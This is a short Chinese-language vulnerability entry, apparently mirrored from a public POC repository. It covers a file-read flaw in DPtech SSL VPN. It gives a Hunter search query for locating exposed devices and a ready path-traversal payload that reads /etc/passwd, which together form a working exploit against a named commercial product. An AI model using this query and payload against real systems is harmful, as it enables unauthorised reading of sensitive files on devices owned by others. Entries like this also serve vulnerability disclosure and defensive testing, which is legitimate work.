mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-11-06 19:07:11 +00:00
25 lines
965 B
Markdown
25 lines
965 B
Markdown
|
# 迪普VPN 文件读取漏洞
|
|||
|
|
|
|||
|
|
# 一、漏洞简介
|
|||
|
|
杭州迪普科技股份有限公司（简称“迪普科技”） 以“让网络更简单、智能、安全”为使命，聚焦于网络安全及应用交付领域，是一家集研发、生产、销售于一体的高科技上市企业迪普VPN存在文件读取漏洞,攻击者可利用该漏洞获取系统的敏感信息等.
|
|||
|
|
|
|||
|
|
# 二、漏洞简介
|
|||
|
|
+ 迪普VPN
|
|||
|
|
|
|||
|
|
# 三、资产测绘
|
|||
|
|
+ hunter`app.name="迪普科技 SSL VPN"`
|
|||
|
|
+ 特征
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
# 四、漏洞复现
|
|||
|
|
```plain
|
|||
|
|
/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
> 更新: 2024-02-29 23:57:13
|
|||
|
|
> 原文: <https://www.yuque.com/xiaokp7/ocvun2/ta805nfg17vfpqiy>
|